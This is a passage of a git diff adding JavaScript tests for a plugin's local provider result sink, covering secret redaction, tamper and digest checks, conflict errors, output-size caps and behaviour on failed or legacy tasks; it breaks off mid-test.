first.inline_tail.text); + + const conflict = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source: `${source} different trailing bytes\n`, + }), + 'artifact_content_conflict', + ); + assertContentFree(conflict, root, [SECRET]); + + const other = Buffer.from('tampered sanitized bytes that are not the original\n', 'utf8'); + await publishArtifactV1(store, conflictingSanitizedRef( + localProviderResultReportPathV1(identityFor('dsh', { assignment_id: CHILD_B })), + other, + ), other); + const afterRaw = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: CHILD_B }), + source: grokText('VERDICT: AFTER RAW'), + }), + 'artifact_content_conflict', + ); + assertContentFree(afterRaw, root, [SECRET, 'VERDICT: AFTER RAW']); + }); +}); + +test('tamper after publication is not reported as a verified artifact on restart', async () => { + await withStore(async (store, root) => { + const source = grokText('VERDICT: TAMPER PASS'); + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + const content = path.join( + store.root, 'sanitized', 'content', receipt.relative_path, + ); + writeFileSync(content, Buffer.alloc(receipt.sanitized_byte_length, 0x62)); + const tampered = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }), + 'artifact_digest_mismatch', + ); + assertContentFree(tampered, root, [SECRET, 'VERDICT: TAMPER PASS']); + }); +}); + +test('content-free sink failure evidence never carries bytes secrets or handles', () => { + const contract = new RunContractV1Error('artifact_content_conflict', 'artifact_ref', + 'Conflicting content at one location is refused.'); + const evidence = contentFreeSinkFailureV1(contract); + assert.equal(evidence.schema, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID); + assert.equal(evidence.published, false); + assert.deepEqual(Object.keys(evidence), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); + assert.equal(evidence.error.code, 'artifact_content_conflict'); + assert.equal(evidence.error.path, 'artifact_ref'); + assert.equal(evidence.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(Object.isFrozen(evidence), true); + + const noisy = new Error(`failed to write ${SECRET} at /tmp/not-a-real-store`); + const fallback = contentFreeSinkFailureV1(noisy); + assert.equal(fallback.error.code, 'artifact_sink_failed'); + assert.equal(fallback.error.path, 'sink'); + assert.equal(fallback.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(JSON.stringify(fallback).includes(SECRET), false); + assert.equal(JSON.stringify(fallback).includes('/tmp/not-a-real-store'), false); + assert.equal(utilTypes.isProxy(fallback), false); +}); + +test('secret-bearing RunContractV1Error never echoes into sink failure evidence', () => { + const secretPath = `source/${SECRET}`; + const secretMessage = `failed to write ${SECRET} at /tmp/not-a-real-store`; + const secretError = new RunContractV1Error('artifact_sink_failed', secretPath, secretMessage); + const evidence = contentFreeSinkFailureV1(secretError); + const serialized = JSON.stringify(evidence); + assert.equal(evidence.published, false); + assert.equal(evidence.error.code, 'artifact_sink_failed'); + assert.equal(evidence.error.path, 'sink'); + assert.equal(evidence.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes(secretPath), false); + assert.equal(serialized.includes('/tmp/not-a-real-store'), false); + assert.equal(evidence.error.message.includes(SECRET), false); + assert.equal(evidence.error.path.includes(SECRET), false); + + const unknown = contentFreeSinkFailureV1(new RunContractV1Error( + 'not_a_closed_code', + 'not_a_closed_path', + `echo ${SECRET}`, + )); + assert.equal(unknown.error.code, 'artifact_sink_failed'); + assert.equal(unknown.error.path, 'sink'); + assert.equal(unknown.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(JSON.stringify(unknown).includes(SECRET), false); + assert.equal(JSON.stringify(unknown).includes('not_a_closed_code'), false); +}); + +test('string chunk streams that are not intrinsic views still sanitize split tokens', async () => { + await withStore(async (store, root) => { + const text = `prefix ${SECRET} trailing VERDICT: CHUNK PASS`; + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: splitStringChunks(text, text.indexOf(SECRET) + 4), + }); + const serialized = JSON.stringify(receipt); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes(root), false); + assert.match(receipt.inline_tail.text, /VERDICT: CHUNK PASS$/u); + assert.match(receipt.inline_tail.text, new RegExp(REPLACEMENT, 'u')); + }); +}); + +test('sink never echoes a declared digest from a hostile raw ref constructor', async () => { + await withStore(async (store, root) => { + const error = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + media_type: 'application/octet-stream', + }), + 'invalid_format', + 'options.media_type', + ); + assertContentFree(error, root, [SECRET]); + assert.equal(error.message.includes(ARTIFACT_REF_SCHEMA_ID) || error.code === 'invalid_format', true); + assert.equal(digestOf(Buffer.from(grokText(), 'utf8')) === error.message, false); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs new file mode 100644 index 0000000..7db230a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs @@ -0,0 +1,648 @@ +import assert from 'node:assert/strict'; +import { chmodSync, readFileSync } from 'node:fs'; +import { mkdtemp, mkdir } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { isArtifactRelativePathV1 } from '../mcp/v3/artifact-path.mjs'; +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST, + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS, + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, + LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, + LOCAL_PROVIDER_RESULT_SINK_PROVIDERS, + LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS, + LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + LOCAL_PROVIDER_RESULT_SINK_VERSION, + collectCliProviderOutputV1, + createLocalProviderResultCollectorV1, + localProviderResultIdentityFromTaskV1, + localProviderResultReportPathV1, + openLocalProviderArtifactStoreV1, + sinkLocalProviderResultV1, +} from '../mcp/v3/local-provider-result-sink.mjs'; +import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; +import { attachLocalProviderResultSink, runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; +import { installClosedProviderTestInjection } from '../mcp/v3/credential-boundary.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; +import { + CHILD_B, + CURSOR_MODEL, + DSH_MODEL, + GROK_MODEL, + INLINE_TAIL_MAX, + RUN_ID, + REPLACEMENT, + SECRET, + SPLIT_SECRET, + chunksOf, + cursorText, + dshObject, + exact4096, + grokText, + identityFor, + makeStoreRoot, + oversizeTail, + removeRoot, + splitStringChunks, + unicodeSplitWindow, +} from './fixtures/r1-local-provider-result-sink-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); +const FAKE_ACPX = path.join(HERE, 'fake-acpx.mjs'); +const FAKE_CLI_TERMINAL_VERDICT = path.join(HERE, 'fake-cli-terminal-verdict.mjs'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) { + assert.equal(error.code, expectedCode, `expected ${expectedCode}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +async function readAllSanitized(store, ref) { + let offset = 0; + const parts = []; + for (;;) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: 8192 }); + parts.push(Buffer.from(page.selected_content, 'base64')); + if (page.more !== true) { + return Buffer.concat(parts).toString('utf8'); + } + offset = page.next_offset; + } +} + +function assertReceiptShape(receipt, { published = true, empty = false } = {}) { + assert.equal(receipt.schema, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID); + assert.equal(receipt.version, LOCAL_PROVIDER_RESULT_SINK_VERSION); + assert.deepEqual(Object.keys(receipt), [...LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS]); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(receipt.published, published); + assert.equal(receipt.empty, empty); + assert.equal(receipt.artifact_kind, LOCAL_PROVIDER_RESULT_ARTIFACT_KIND); +} + +function assertNoLeak(serialized, root, secrets) { + assert.equal(serialized.includes(root), false, 'receipt echoed the store root'); + for (const secret of secrets) { + assert.equal(serialized.includes(secret), false, `receipt leaked ${secret}`); + } +} + +test('the closed sink vocabulary and caps are exported frozen', () => { + assert.equal(LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, 'codex-co-engineer.local-provider-result-sink.v1'); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_VERSION, 1); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, 4096); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES), true); + assert.deepEqual([...LOCAL_PROVIDER_RESULT_SINK_PROVIDERS], ['grok', 'cursor-local', 'dsh']); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS.includes('inline_tail')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('local_provider_required')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('artifact_sink_not_published')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST.includes('artifact_content_conflict')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST.includes('sink')); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE.includes('secret'), false); +}); + +test('the sink module uses P09/P10/P08 authorities and does not import protected seams', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/local-provider-result-sink.mjs', import.meta.url)), 'utf8'); + assert.match(source, /sanitizeAndPublishArtifactV1/u); + assert.match(source, /readSanitizedArtifactV1/u); + assert.match(source, /verifyStoredArtifactV1/u); + assert.equal(source.includes('task-store.mjs'), false); + assert.equal(source.includes('acp-worker.mjs'), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); + assert.equal(source.includes('provider-driver.mjs'), false); + assert.equal(source.includes('cursor-cloud-worker.mjs'), false); +}); + +test('Grok Cursor and DSH strings JSON values and stream chunks publish under exact identity', async () => { + await withStore(async (store, root) => { + const grok = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + }); + assertReceiptShape(grok); + assert.equal(grok.run_id, RUN_ID); + assert.equal(grok.assignment_id, 'lane-alpha'); + assert.equal(grok.provider, 'grok'); + assert.equal(grok.model, GROK_MODEL); + assert.equal(grok.raw_ref.artifact_class, 'raw'); + assert.equal(grok.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(grok.raw_ref.relative_path, grok.sanitized_ref.relative_path); + assert.equal(grok.relative_path, localProviderResultReportPathV1(identityFor('grok'))); + assert.equal(isArtifactRelativePathV1(grok.relative_path), true); + assert.equal(grok.complete, true); + assert.equal(grok.source_truncated, false); + assert.equal(grok.inline_tail.inline_clipped, false); + assert.equal(grok.inline_tail.text, grokText()); + assert.equal(await readAllSanitized(store, grok.sanitized_ref), grokText()); + assert.equal(grok.sanitizer_version, ARTIFACT_SANITIZER_VERSION); + assertNoLeak(JSON.stringify(grok), root, [SECRET]); + + const cursor = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local', { assignment_id: CHILD_B }), + source: Buffer.from(cursorText(), 'utf8'), + }); + assert.equal(cursor.provider, 'cursor-local'); + assert.equal(cursor.model, CURSOR_MODEL); + assert.equal(cursor.inline_tail.text, cursorText()); + + const dshJson = dshObject(); + const dsh = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: 'lane-gamma' }), + source: dshJson, + }); + assert.equal(dsh.provider, 'dsh'); + assert.equal(dsh.model, DSH_MODEL); + assert.equal(dsh.media_type, 'application/json'); + assert.equal(dsh.inline_tail.text, JSON.stringify(dshJson)); + + const streamed = 'streamed grok chunk-1chunk-2 VERDICT: STREAM PASS'; + const streamReceipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: 'lane-delta' }), + source: chunksOf(streamed, 7), + }); + assert.equal(await readAllSanitized(store, streamReceipt.sanitized_ref), streamed); + assert.equal(streamReceipt.inline_tail.text, streamed); + }); +}); + +test('empty results do not invent an artifact and exact 4096 stays unclipped', async () => { + await withStore(async (store) => { + const empty = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: '', + }); + assertReceiptShape(empty, { published: false, empty: true }); + assert.equal(empty.raw_ref, null); + assert.equal(empty.sanitized_ref, null); + assert.equal(empty.inline_tail, null); + assert.equal(empty.source_byte_length, 0); + + const payload = exact4096('END!'); + assert.equal(Buffer.byteLength(payload, 'utf8'), INLINE_TAIL_MAX); + const exact = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local', { assignment_id: CHILD_B }), + source: payload, + }); + assert.equal(exact.published, true); + assert.equal(exact.inline_tail.inline_clipped, false); + assert.equal(exact.inline_tail.source_truncated, false); + assert.equal(exact.inline_tail.byte_length, INLINE_TAIL_MAX); + assert.equal(exact.inline_tail.text.endsWith('END!'), true); + assert.equal(exact.source_byte_length, INLINE_TAIL_MAX); + }); +}); + +test('inline tails distinguish UTF-8 alignment clipping from source truncation', async () => { + await withStore(async (store) => { + const window = unicodeSplitWindow(); + const unicode = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: window, + }); + assert.equal(unicode.inline_tail.inline_clipped, true); + assert.equal(unicode.inline_tail.source_truncated, false); + assert.equal(unicode.complete, true); + assert.equal(unicode.inline_tail.text.isWellFormed(), true); + assert.equal(unicode.inline_tail.text.includes('\uFFFD'), false); + assert.ok(unicode.inline_tail.byte_length <= INLINE_TAIL_MAX); + assert.ok(unicode.inline_tail.text.endsWith('s'.repeat(20))); + + const over = oversizeTail(); + const truncated = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: CHILD_B }), + source: over, + source_truncated: true, + }); + assert.equal(truncated.source_truncated, true); + assert.equal(truncated.complete, false); + assert.equal(truncated.inline_tail.inline_clipped, true); + assert.equal(truncated.inline_tail.source_truncated, true); + assert.equal(truncated.inline_tail.complete, false); + assert.match(truncated.inline_tail.text, /VERDICT: OVERSIZE PASS$/u); + assert.equal(truncated.inline_tail.byte_length <= INLINE_TAIL_MAX, true); + assert.equal(await readAllSanitized(store, truncated.sanitized_ref), over); + }); +}); + +test('CLI JSONL extraction preserves complete available output without bounding', () => { + const stdout = [ + JSON.stringify({ result: 'result candidate', text: 'secondary' }), + JSON.stringify({ text: 'next chunk' }), + 'plain tail', + ].join('\n'); + const bytes = collectCliProviderOutputV1(stdout); + assert.equal(bytes.toString('utf8'), 'result candidatenext chunk\nplain tail'); + assert.equal(collectCliProviderOutputV1('').byteLength, 0); +}); + +test('collector retains older chunks until the raw class cap', () => { + const collector = createLocalProviderResultCollectorV1(); + collector.append('older-output-'); + collector.append('later-verdict'); + const snapshot = collector.snapshot(); + assert.equal(snapshot.overflow, false); + assert.equal(snapshot.source.toString('utf8'), 'older-output-later-verdict'); +}); + +test('collector overflow at the raw class cap never silently claims complete bytes', () => { + const collector = createLocalProviderResultCollectorV1(); + collector.append(Buffer.alloc(MAX_RAW_ARTIFACT_BYTE_LENGTH, 0x61)); + assert.equal(collector.snapshot().overflow, false); + collector.append(Buffer.from([0x62])); + const snapshot = collector.snapshot(); + assert.equal(snapshot.overflow, true); + assert.equal(snapshot.byte_length, MAX_RAW_ARTIFACT_BYTE_LENGTH); + assert.equal(snapshot.source.byteLength, MAX_RAW_ARTIFACT_BYTE_LENGTH); +}); + +test('Grok vs Cursor Local model and digest identities never share a path or ref', async () => { + await withStore(async (store) => { + const source = grokText('VERDICT: ALIAS PASS'); + const grok = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + const cursor = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + assert.equal(isArtifactRelativePathV1(grok.relative_path), true); + assert.equal(isArtifactRelativePathV1(cursor.relative_path), true); + assert.notEqual(grok.relative_path, cursor.relative_path); + assert.equal(grok.raw_ref.sha256, cursor.raw_ref.sha256); + assert.notEqual(grok.raw_ref.relative_path, cursor.raw_ref.relative_path); + assert.notEqual(JSON.stringify(grok.raw_ref), JSON.stringify(cursor.raw_ref)); + assert.match(grok.relative_path, /\/grok\//u); + assert.match(cursor.relative_path, /\/cursor-local\//u); + assert.equal(grok.relative_path.includes(':'), false); + assert.equal(cursor.relative_path.includes(':'), false); + + const otherModel = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { model: 'grok-4' }), + source: grokText('VERDICT: MODEL PASS'), + }); + assert.notEqual(otherModel.relative_path, grok.relative_path); + assert.match(otherModel.relative_path, /\/grok\//u); + + const digestA = 'a'.repeat(64); + const digestB = 'b'.repeat(64); + const withA = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B, child_envelope_digest: digestA }), + source: grokText('VERDICT: DIGEST A'), + }); + const withB = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B, child_envelope_digest: digestB }), + source: grokText('VERDICT: DIGEST B'), + }); + const without = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B }), + source: grokText('VERDICT: DIGEST NONE'), + }); + assert.notEqual(withA.relative_path, withB.relative_path); + assert.notEqual(withA.relative_path, without.relative_path); + assert.notEqual(withB.relative_path, without.relative_path); + assert.equal(withA.child_envelope_digest, digestA); + assert.equal(withB.child_envelope_digest, digestB); + assert.equal(without.child_envelope_digest, null); + + const slashModel = 'org/model:tag'; + const encoded = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: 'lane-delta', model: slashModel }), + source: 'slash-colon-model', + }); + assert.equal(isArtifactRelativePathV1(encoded.relative_path), true); + assert.equal(encoded.relative_path.includes(':'), false); + assert.equal(encoded.relative_path.includes('org/model'), false); + assert.equal(encoded.model, slashModel); + assert.equal( + encoded.relative_path, + localProviderResultReportPathV1(identityFor('dsh', { assignment_id: 'lane-delta', model: slashModel })), + ); + + const restart = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + assert.equal(restart.relative_path, grok.relative_path); + assert.equal(restart.raw_digest, grok.raw_digest); + assert.equal(restart.sanitized_digest, grok.sanitized_digest); + assert.equal(JSON.stringify(restart.raw_ref), JSON.stringify(grok.raw_ref)); + }); +}); + +test('legacy tasks without run identity do not bind a sink envelope', () => { + assert.equal(localProviderResultIdentityFromTaskV1({ + id: 'task-1', + provider: 'grok', + }), null); + const bound = localProviderResultIdentityFromTaskV1({ + id: 'task-1', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + provider: 'dsh', + dsh_model: DSH_MODEL, + }); + assert.equal(bound.run_id, RUN_ID); + assert.equal(bound.model, DSH_MODEL); + assert.equal(Object.isFrozen(bound), true); +}); + +async function workerFixture(extra = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-p11-acp-')); + chmodSync(root, 0o700); + const cwd = path.join(root, 'worktree'); + await mkdir(cwd); + const id = extra.id ?? 'task-1'; + await createTask({ + root, + prompt: extra.prompt ?? 'review this repository', + record: { + id, + status: 'accepted', + provider: extra.provider ?? 'grok', + ...(extra.run_id ? { run_id: extra.run_id } : {}), + ...(extra.assignment_id ? { assignment_id: extra.assignment_id } : {}), + ...(extra.model ? { model: extra.model } : {}), + ...(extra.dshModel ? { dsh_model: extra.dshModel } : {}), + cwd, + agent_argv: extra.agentArgv ?? [process.execPath, FAKE_AGENT, '--mode', extra.mode ?? 'normal'], + ...(extra.cliArgv ? { cli_argv: extra.cliArgv } : {}), + timeout_ms: extra.timeoutMs ?? 5_000, + }, + }); + return { root, cwd, taskId: id }; +} + +async function withFakeAcpx(mode, callback) { + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND']; + const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); + process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; + installClosedProviderTestInjection({ FAKE_ACPX_MODE: mode }); + try { + return await callback(); + } finally { + installClosedProviderTestInjection(null); + for (const name of names) { + if (previous[name] === undefined) delete process.env[name]; + else process.env[name] = previous[name]; + } + } +} + +test('Grok ACP with run identity stores the complete result after terminal publication', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + prompt: 'terminal-verdict', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result, /VERDICT: ACP PASS$/u); + assert.equal(terminal.result_truncated, true); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.provider, 'grok'); + assert.equal(terminal.provider_result_sink.inline_tail.inline_clipped, true); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: ACP PASS$/u); + const store = await openLocalProviderArtifactStoreV1(value.root); + const stored = await readAllSanitized(store, terminal.provider_result_sink.sanitized_ref); + assert.match(stored, /VERDICT: ACP PASS$/u); + assert.ok(stored.length > String(terminal.result).length); +}); + +test('Cursor Local ACP with run identity preserves legacy bounded result beside artifacts', async () => { + const value = await workerFixture({ + provider: 'cursor-local', + id: 'cursor-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-beta', + model: CURSOR_MODEL, + prompt: 'terminal-verdict', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.provider, 'cursor-local'); + assert.match(terminal.result, /VERDICT: ACP PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.assignment_id, 'lane-beta'); + assert.equal(terminal.provider_result_sink.inline_tail.source_truncated, false); +}); + +test('DSH ACPX with run identity sinks nested JSON after provider terminal', async () => { + const value = await workerFixture({ + provider: 'dsh', + id: 'dsh-p11-object', + run_id: RUN_ID, + assignment_id: 'lane-gamma', + dshModel: DSH_MODEL, + }); + const terminal = await withFakeAcpx('terminal-object', () => runAcpTask({ + root: value.root, taskId: value.taskId, + })); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result.nested.final, /VERDICT: DSH OBJECT PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.media_type, 'application/json'); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: DSH OBJECT PASS/u); +}); + +test('CLI fallback with run identity stores complete available output when transport-clipped', async () => { + const value = await workerFixture({ + id: 'cli-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + cliArgv: [process.execPath, FAKE_CLI_TERMINAL_VERDICT], + }); + const { task } = await readTask(value.root, value.taskId); + const terminal = await runCliFallback({ + root: value.root, + task, + prompt: 'private fallback prompt', + }); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result, /VERDICT: CLI PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: CLI PASS$/u); + assert.equal(JSON.stringify(terminal.provider_result_sink).includes('private fallback prompt'), false); +}); + +test('legacy ACP completion without run identity keeps 3.2.1 result shape', async () => { + const value = await workerFixture({ id: 'legacy-no-identity', prompt: 'normal' }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.provider_result_sink, undefined); +}); + +test('failed Grok ACP turn never publishes accumulated output as complete', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-failed', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + prompt: 'provider-failure', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'failed'); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); + assert.ok(terminal.error); + assert.equal(terminal.provider_result_sink.published, false); + assert.equal(terminal.provider_result_sink.error.code, 'artifact_sink_not_published'); + assert.equal(terminal.provider_result_sink.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.deepEqual(Object.keys(terminal.provider_result_sink), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'complete'), false); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'empty'), false); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'raw_ref'), false); +}); + +test('non-success terminals preserve 3.2.1 result fields and never sink partial text', async () => { + const value = await workerFixture({ + provider: 'cursor-local', + id: 'cursor-p11-partial-fail', + run_id: RUN_ID, + assignment_id: 'lane-beta', + model: CURSOR_MODEL, + }); + const partial = 'PARTIAL TEXT THAT MUST NOT BE COMPLETE'; + const failed = await updateTask(value.root, value.taskId, { + status: 'failed', + result: partial, + result_truncated: false, + error: { code: 'failed', message: 'provider failed' }, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink(value.root, failed, partial, false); + assert.equal(attached.status, 'failed'); + assert.equal(attached.result, partial); + assert.equal(attached.result_truncated, false); + assert.equal(attached.error.code, 'failed'); + assert.equal(attached.provider_result_sink.published, false); + assert.equal(attached.provider_result_sink.error.code, 'artifact_sink_not_published'); + assert.equal(JSON.stringify(attached.provider_result_sink).includes(partial), false); + + const cancelledValue = await workerFixture({ + provider: 'grok', + id: 'grok-p11-partial-cancel', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + }); + const cancelled = await updateTask(cancelledValue.root, cancelledValue.taskId, { + status: 'cancelled', + result: partial, + result_truncated: true, + finished_at: new Date().toISOString(), + }); + const cancelledAttached = await attachLocalProviderResultSink( + cancelledValue.root, cancelled, partial, false, + ); + assert.equal(cancelledAttached.status, 'cancelled'); + assert.equal(cancelledAttached.result, partial); + assert.equal(cancelledAttached.result_truncated, true); + assert.equal(cancelledAttached.provider_result_sink.published, false); + assert.equal(cancelledAttached.provider_result_sink.error.code, 'artifact_sink_not_published'); +}); + +test('ACP collector overflow stays inside attach and does not rewrite a completed terminal', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-overflow', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + }); + const completed = await updateTask(value.root, value.taskId, { + status: 'completed', + result: 'legacy bounded result', + result_truncated: true, + result_original_chars: 100, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink( + value.root, completed, Buffer.alloc(16, 0x61), false, true, + ); + assert.equal(attached.status, 'completed'); + assert.equal(attached.result, 'legacy bounded result'); + assert.equal(attached.result_truncated, true); + assert.equal(attached.result_original_chars, 100); + assert.equal(attached.provider_result_sink.published, false); + assert.equal(attached.provider_result_sink.error.code, 'artifact_stream_over_cap'); + assert.equal(attached.provider_result_sink.error.path, 'source'); + assert.equal(attached.provider_result_sink.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(Object.hasOwn(attached.provider_result_sink, 'complete'), false); +}); + +test('legacy ACP overflow without sink identity keeps 3.2.1 result and skips the sink', async () => { + const value = await workerFixture({ id: 'legacy-overflow' }); + const completed = await updateTask(value.root, value.taskId, { + status: 'completed', + result: 'legacy complete without sink', + result_truncated: false, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink( + value.root, completed, Buffer.alloc(16, 0x61), false, true, + ); + assert.equal(attached.status, 'completed'); + assert.equal(attached.result, 'legacy complete without sink'); + assert.equal(attached.result_truncated, false); + assert.equal(attached.provider_result_sink, undefined); +}); + +test('sanitized oversize fails closed without reporting an artifact', async () => { + await withStore(async (store, root) => { + const over = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); + const error = await 